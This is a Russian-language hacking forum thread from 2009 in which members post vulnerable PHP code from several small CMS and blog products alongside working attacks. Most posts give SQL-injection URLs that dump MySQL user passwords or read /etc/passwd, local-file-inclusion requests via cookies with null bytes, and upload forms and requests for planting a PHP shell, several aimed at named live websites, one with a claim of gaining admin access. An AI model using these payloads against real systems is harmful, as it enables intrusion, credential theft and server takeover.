HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.12.2009, 05:55
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Продукт: CMS-DIYAN CMS без MySQL
Скачать : http://cms-diyan.ru/index.php?file=download
ось: WIN

LFI:
линки:
http://dyian/index.php?file=\..\user\1.txt
http://dyian/index.php?file=\..\user\1.txt&news

PHP код:
include_once('php/function.php');


if (!isset(
$_GET["file"])){
$ret=vizov_file("index");
}

if (isset(
$_GET["file"])){
$file=$_GET["file"];

if (!
ereg('^[^./][^/]*$'$file)) die("сработала защита от взлома!");


$ret=vizov_file($file);

PHP код:
function vizov_file($file)
{
$filedir="files/".$file;
if (isset(
$_GET['news']))$filedir="news/".$file;
if (
file_exists($filedir)){
if ((isset(
$_GET["dlyadruzey"]))&&(@fopen("http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"], "r")))$filedir="http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"];

if (!
file_exists($filedir))die('Не найден файл '.$filedir);
$handle fopen($filedir"r");
            
$ret[4] = ''$i=0;
            while (!
feof($handle)) {
                
$buffer fgets($handle4096);
                  if(
$i==0$ret[0]=$buffer;
                  elseif(
$i==1$ret[1]=$buffer;
                  elseif(
$i==2$ret[2]=$buffer;
                  elseif(
$i==3$ret[3]=$buffer;
                else 
$ret[4].=$buffer;
              
$i++;
            }

            
fclose($handle); 

Последний раз редактировалось Strilo4ka; 28.12.2009 в 14:08..
 
Ответить с цитированием

  #2  
Старый 28.12.2009, 22:02
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Magazin IT online (Design & Development by Twenty Advertising)
http://www.accessdatamedia.ro
SQL

stiri.php
PHP код:
if(isset($_GET['id']) && ($_GET['id']!=""))
{
    
$where=' WHERE `news`.`id_news`='.$_GET['id'];
}
mysql_select_db($database_conn$conn);
$query_news "SELECT * FROM news ".$where
http://www.accessdatamedia.ro/stiri.php?id=-100+union+all+select+1,concat_ws(0x203a20,version( ),user(),host,user,password,file_priv),3,4+from+my sql.user+--+


certificare.php
PHP код:
$query_news "SELECT * FROM `certifications` where id_certification=".stripslashes($_GET['id']); 
http://www.accessdatamedia.ro/certificare.php?id=-3+union+select+1,2,load_file(0x2f6574632f706173737 764),4+--+
 
Ответить с цитированием

  #3  
Старый 28.12.2009, 23:04
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

BlognPlus
http://www.blogn.org/
SQL

index.php
PHP код:
case "e":
 
$blogn_entry_id = @$_GET["e"];
 
$blogn_skin preg_replace("/\{SEARCH\}[\w\W]+?\{\/SEARCH\}/"""$blogn_skin);
 
$blogn_skin preg_replace("/\{PROFILES\}[\w\W]+?\{\/PROFILES\}/"""$blogn_skin);
 
$blogn_skin preg_replace("/\{COMMENTLIST\}[\w\W]+?\{\/COMMENTLIST\}/"""$blogn_skin);
 
$blogn_skin preg_replace("/\{COMMENTNEW\}[\w\W]+?\{\/COMMENTNEW\}/"""$blogn_skin);
 
$blogn_skin preg_replace("/\{TRACKBACKLIST\}[\w\W]+?\{\/TRACKBACKLIST\}/"""$blogn_skin);
 
$blogn_skin preg_replace("/\{TRACKBACKNEW\}[\w\W]+?\{\/TRACKBACKNEW\}/"""$blogn_skin);
 
$blogn_skin blogn_entry_view($blogn_user$blogn_skin$blogn_entry_id); 
nikkiFuntions.php
PHP код:
function blogn_entry_view($user$skin$entry_id) {
    
$skin preg_replace("/\{LOG\}/"""$skin);
    
$skin preg_replace("/\{LOG[ ]+([\w\W]+?)\}/"""$skin);
    
$skin preg_replace("/\{\/LOG\}/"""$skin);
    
$nextbackurl blogn_mod_db_log_nextback_url($user$entry_id); 
db_mysql.php
PHP код:
function blogn_mod_db_log_nextback_url($user$key_id) {
    
$sql_connect = @mysql_connect(BLOGN_DB_HOST.":".BLOGN_DB_PORTBLOGN_DB_USERBLOGN_DB_PASS);
    
mysql_select_db(BLOGN_DB_NAME);

    
$qry "SELECT date FROM ".BLOGN_DB_PREFIX."_loglist WHERE id = ".$key_id
http://hangulnikki.hanguk.jp/index.php?e=-100+union+select+1,2,3,4,5,6,7,8,9,10,load_file('/etc/passwd'),concat_ws(0x203a20,version(),user(),host, user,password,file_priv),13+from+mysql.user--
 
Ответить с цитированием

  #4  
Старый 22.12.2009, 12:22
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

В дополнение к #249


Blind-SQL

file: validate.php
PHP код:
$username $_GET["username"];
$password $_GET["password"];


if(!isset(
$_COOKIE["deeemm"])) {

    
//no cookie so reset cookie just in case
     
setcookie ("deeemm"""time() - 3600);

} elseif (isset(
$_COOKIE["deeemm"])) {

     
//get data from cookie
  
$user explode(" ",$_COOKIE["deeemm"]);

    
//compare data against database
  
$sql_query "SELECT * FROM `" $db_table_prefix "users` WHERE `user_name` = '$user[0]'";
  
$result mysql_db_query($db_name$sql_query); 
target: Устанавливаем себе куку deemm со значением:
"'+union+select+1,2,3,4,5,6,7,8,9,10+--+ pew-pew"

Upload Shell

Need: register_globals = ON

file: includes/upload_file.php
PHP код:
if (isset($_FILES['file_data'])) {
    if (
$filename) {
        
$destination_file $default_path $media_dir $filename;
        echo 
strtolower(basename($_FILES['file_data']['name']));
    }

    if (
file_exists($destination_file)) {
        
$count 1;
        while (
file_exists($destination_file)) {
            
$filename $count '_' $filename;
            
$destination_file $default_path $media_dir $filename;
            
$count++;
        }
    }


    if (
$filename && !file_exists($destination_file)) {
        if (!
move_uploaded_file($_FILES['file_data']['tmp_name'], $destination_file)) {
            echo 
'<br>' "Upload failed!" '<br>';
            echo 
$destination_file '<br>';
            echo (
$_FILES['file_data']['name']) . '<br>';
            echo (
$_FILES['file_data']['tmp_name']) . '<br>';
            echo (
$_FILES['file_data']['size']) . '<br>';
            echo (
$_FILES['file_data']['type']) . '<br>';
            echo (
$_FILES['file_data']['error']) . '<br>';
            
//print_r ($_FILES);
            
exit;
        }
    }

target: Написал Super-Exploit.
Код:
      <form action="http://HOST.com/upload_file.php" method="post" enctype="multipart/form-data">
      Shell file: <input type="file" name="file_data"><br> 
      Path: <input type="text" name="default_path"><br>
      Shell name: <input type="text" name="filename"><br>
      <input type="submit" value="Xek!"><br>
      </form>
Вписываем например:
Path: ./
Shell name: shell.php
Xek!

Шелл окажеться в тойже папке что и upload_file.php

Последний раз редактировалось m0Hze; 22.12.2009 в 12:40..
 
Ответить с цитированием

  #5  
Старый 22.12.2009, 13:43
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Qikblogger (qb-krypton-0.9beta-patched)
http://qikblogger.sourceforge.net
Blind SQL
mq=off

tag.php
PHP код:
if ( isset($_GET['blog_name']) && isset($_GET['tagname']) ) {
  
$blog_name trim($_GET['blog_name']);
  
$tagname trim($_GET['tagname']);
  ,,,
  
$post_ids $b->get_tag_posts($tagname); 
blogs.php
PHP код:
function get_tag_posts($tagname)
    if ( 
$db->query("SELECT tags.post_id as ids FROM tags, posts WHERE tags.tagname='$tagname' AND tags.blog_name='$this->blog_name' AND tags.post_id=posts.post_id AND posts.disp_dt < CURRENT_TIMESTAMP() ORDER BY posts.disp_dt DESC ;") ) { 
http://localhost/qb/tag.php?blog_name=barbie&tagname=barbie'+union+sel ect+1+--+1
 
Ответить с цитированием

  #6  
Старый 22.12.2009, 18:57
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: LimnyCMS
Author: http://www.limny.org/
Version: 1.0.1

LFI

По сегодняшней традиции,оно нестрандартное,а немножно интересное

file: ajax.php
PHP код:
if(substr($_POST['page'], 03) != "sub")
{
    
define("LANGUAGE"Language());
}
else
{
    
define("USER", @$_POST['user']);
    
define("LANGUAGE"UserLanguage(USER));
}

// SESSION
if($_POST['page'] == "contact" or $_POST['page'] == "scontact" or $_POST['page'] == "subscontact" or $_POST['page']=="registernow")
{
    
session_start();
}

// CAN NOT MODIFY HEADERS
if(@$_GET['page'] != "size")
{
    require(
"languages/".LANGUAGE.".php"); 
Обратите внимание на установку Констант и на ф-цию UserLanguage(USER)
PHP код:
function UserLanguage($username)
{
    if(isset(
$_COOKIE['ulanguage']))
    {
        return 
$_COOKIE['ulanguage'];
       }
    else
    {
        return 
UserSettings($username"language");
       }

Таким образом:
target:

Код:
POST /target/ajax.php?page=pewpew HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Cookie: ulanguage=../../{LOCAL_FILE}%00;
Connection: keep-alive
    page=sub&user=lolita
Вуаля

Blind-SQL

file: cookie.php
PHP код:
switch($_POST['cookie'])
{
    case(
"login");
    
$user=@$_POST['user'];
    
$pass=md5(@$_POST['pass']);
    
$login_result=$db->query("SELECT user, pass, ban FROM ".TABLE_PREFIX."users WHERE user='$user' AND pass='$pass'");
    if(
$login_row=$db->fetch_array($login_result)){
        if(
$login_row['ban']=="1"){echo "Ban!";exit;}
            
setcookie("username"$login_row['user'], time()+86400'/'''0);
            
setcookie("password"$login_row['pass'], time()+86400'/'''0); 
Проверять можно по кукам,если обнулились - fail .
target: {POST} ?user=lolita'+union+select+1,2,3,4,5,6,7,8,9,10,11 ,12,13,141,516,17,18,19,20,21+--+

Последний раз редактировалось m0Hze; 22.12.2009 в 19:02..
 
Ответить с цитированием

  #7  
Старый 22.12.2009, 22:34
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию

Дополнение к посту m0Hze

Local File Inclusion

Vuln file: aajax.php [str:11]
PHP код:
require("config.php");
require(
"includes/functions.php");
require(
"includes/class_mysql.php");
$db = new dbEngine;
$db->connect(HOSTNAMEUSERNAMEPASSWORD);
$db->select(DATABASE);

define("LANGUAGE"Language());
require(
"languages/".LANGUAGE.".php");
/*...*/ 
Смотрим функцию Language() (includes/functions.php)
PHP код:
/*...*/
function Language()
{
    if(
CheckLogin($_COOKIE['username'], $_COOKIE['password']) == true)
    {
        
$language UserOption($_COOKIE['username'], "lang");
        if(isset(
$_COOKIE['language']) and $_COOKIE['language'] != $language)
        {
/*...*/
        
}
        return 
$language;
    }
    else
    {
        if(isset(
$_COOKIE['language']))
        {
            
$language $_COOKIE['language'];
        }
        else
        {
            
$language Settings("language");
        }
    }
    return 
$language;
}
/*...*/ 
Exploit:
if magic_quotes = OFF
Код:
GET http://[host]/[path]/aajax.php HTTP/1.0
Cookie: language=../../../../../../../[local_file]%00
* так же уязвимы файлы: ajax.php, majax.php, print.php, uajax.php

SQL Injection

Vuln file: ajax.php [str:397]
PHP код:
/*...*/
    
$order=@$_POST['order'];
    
$newsgroup=@$_POST['newsgroup'];
    
$number=round(@$_POST['number']);
    
$username=@$_POST['user'];
    if(!
is_numeric($number) OR $number<=0){echo "<div class=\"error\">".$lang['error1']."</div>";exit;}
    if(
$newsgroup=="all"){$ng="";}else{$ng=" newsgroup='$newsgroup' AND";}
    if(
$order!="date"){
        
$lastnews_result=$db->query("SELECT id, title, pretext, datetime FROM ".TABLE_PREFIX."usernews WHERE user='$username' AND lang='".LANGUAGE."' AND$ng releasestatus='1' ORDER BY datetime DESC LIMIT $number");
    }else{
/*...*/ 
Exploit:
if magic_quotes = OFF
Код:
POST http://[host]/[path]/ajax.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 175
Cookie: language=en
Connection: Close
Pragma: no-cache

newsgroup=xek' union select null,concat_ws(0x3a,user,pass),null,null from lmn_users -- &page=newslist&number=1
-------------------------------------
Limny 1.01 (Auth Bypass) SQL Injection Vulnerability

Последний раз редактировалось RulleR; 22.12.2009 в 22:41..
 
Ответить с цитированием

  #8  
Старый 23.12.2009, 15:56
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

GEOBLOG 1.0 STABLE
http://sourceforge.net/projects/bitdamaged/
SQL

Скрипты в корне блога содержат строки:
PHP код:
if(!is_numeric($id)) {
print(
"Dont Be A h4x0r!!!");
exit(); 
Скрипты в админке проверяют
PHP код:
if($_SESSION['login'] != "user_valid_and_logged_in") {
header("Location: ../index.php");
//End IF 
admin/listcomment.php не содержит таких проверок, поэтому
PHP код:
$query[747] = mysql_query("SELECT * FROM geo_comment WHERE linkid='$id'"); 
уязвим, при
magic_quotes_gpc = Off
register_globals = On

http://localhost/geoBlog/admin/listcomment.php?id=2'+union+select+1,2,3,4,5,versi on(),7,8+--+1
 
Ответить с цитированием

  #9  
Старый 23.12.2009, 22:22
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: SkyBlueCanvas
Author: www.skybluecanvas.com
Version: 1.1

Upload-ShellCode

File: /wym/image.upload.php
PHP код:
if (isset($_FILES['upload']) && !empty($_FILES['upload']['name'])) {

    
$file $_FILES['upload'];
    
$dest $_POST['upload_dir'];
    
$ini FileSystem::read_config(
        
"../" SB_MANAGERS_DIR "media/config.php"
    
);
    
$types = array();
    if (isset(
$ini['mimes'])) {
        
$types $ini['mimes'];
    }
    
    
$targets FileSystem::list_dirs(SB_MEDIA_DIR);
    
array_push($targetsSB_DOWNLOADS_DIR);
    
array_push($targetsSB_UPLOADS_DIR);
    
array_push($targetsACTIVE_SKIN_DIR "images/");
    
    list(
$exitCode$newfile) = $Core->UploadFile($file$dest$types5000000$targets);
    
    if (
$exitCode == 1) {
        
$success true;
        
$message '<div class="msg-success-small"><h2>Success!</h2></div>';
    }
    else {
        
$message '<div class="msg-error-small"><h2>An unknown error occurred</h2></div>'
    }

Нас интересует: list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);

File: /include/core.php
PHP код:
    function UploadFile($file$dest$allowtypes$maxsize=5000000$targets=array()) {
        
$Uploader = new Uploader($allowtypes$targets);
        return 
$Uploader->upload($file$dest);
    } 
$Uploader->upload($file, $dest);

File: /include/uploader.php
PHP код:
function upload($file$dest) {

        if (
$dest{strlen($dest)-1} != '/'$dest .= '/';
        
        
$fname $file['name'];
        
$ftype trim($file['type']);
        
$fsize $file['size'];
        
$newfile null;

        if (
$fsize $this->max_size) {
            
$exitCode 7;
        } 
        else if (
$fsize $this->free_space) {
            
$exitCode 8;
        }
        else if (!
in_array($ftype$this->types)) {
            
$exitCode 4;
        }
        else if (!
in_array($dest$this->targets)) {
            
$exitCode 4;
        }
        else {
            
$newfile $dest.$fname;
                
            
$max 100;
            
$ticker 0;
            while (
file_exists($newfile) && $ticker $max) {
                
$ticker++;
                
$bits explode('.'$fname);
                
$ext $bits[count($bits)-1];
                
$base implode('.'array_slice($bits0, -1));
                
$newfile $dest."$base.$ticker.$ext";
            }
            
            if (
is_uploaded_file($file['tmp_name'])) {
                
$exitCode move_uploaded_file($file['tmp_name'], $newfile);
            }
            else {
                
$exitCode 0;
            }
        }
        return array(
$exitCode$newfile);
    } 
Ну вот и добрались до сути.
Target: Из-за того,что файл целевой файл(image.upload.php) просто открываеться в браузере,не происходит установки разрешеных к аплоаду расширений файлов.Так что просто отсылаем файл и POST- запрос:
upload_dir=../../
Колво ../ подъемов по ФС может быть сколько душе угодно,все зависит от настроек сервера,и где лежит сама ЦМС.В итоге заимеем шелл с названием:
Отсылали: shell.php
Получили: shell..php
 
Ответить с цитированием

  #10  
Старый 24.12.2009, 14:57
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Update: #244
Версия ядра обновилась.Целевая версия - 1.1.Как водиться,с обновлением, разработчики только прибавили дырок.

SQL-inj


File: downloads.php
PHP код:
if(isset($_GET['cat'])){
$result mysql_query("SELECT * FROM xcms_downloads WHERE category=".$_GET['cat']." ORDER By id DESC") or die(mysql_error());  
    
$content .=" <div class='post' id='post-8'> ";
    
            while(
$downloads mysql_fetch_array$result )) {
                
$content .="
                    <table width='100%' cellpadding='0' cellspacing='1' class='tbl-border'> 
                    <tr> 
                    <td colspan='3' class='tbl2'><strong><a href='"
.DOWNLOADS.$downloads['file']."'>".$downloads['name']."</a></strong>
                    </td> 
                    <tr> 
                    <td colspan='3' class='tbl1'>"
.$downloads['description']."</td> 
                    </tr> 
                    <tr> 
                    <td width='30%' class='tbl2'><strong>Added:</strong> "
.$downloads['uploaded']."</td> 
                    <td width='30%' class='tbl1'><strong>Uploaded by:</strong><b><a href='"
.BASEDIR."profile.php?view=".$downloads['uploader']."'> ".$downloads['uploader']."</b></a></td> 
                    <td width='40%' class='tbl2'><b><a href='"
.$_SERVER['PHP_SELF']."?download=".$downloads['id']."'>Download (".$downloads['downloaded'].")</a></b></td> 
                    </tr> 
                    </table><br>
                "
;
            } 
Target: Сайт разработчика:
http://sphere.xlentprojects.se/downloads.php?cat=1+union+select+1,id,3,4,username ,password,7,8,9+from+xcms_members+--+
Логинимся - мы администраторы.Не будем ничеготрогать,мы же не хокеры

Пропустим мимо глаз то,что уязвимы 70% всех файлов.В 1 вывод лучше всего,на нем и остановимся.

не надо логин-пароль писать

Последний раз редактировалось HAXTA4OK; 24.12.2009 в 15:11..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ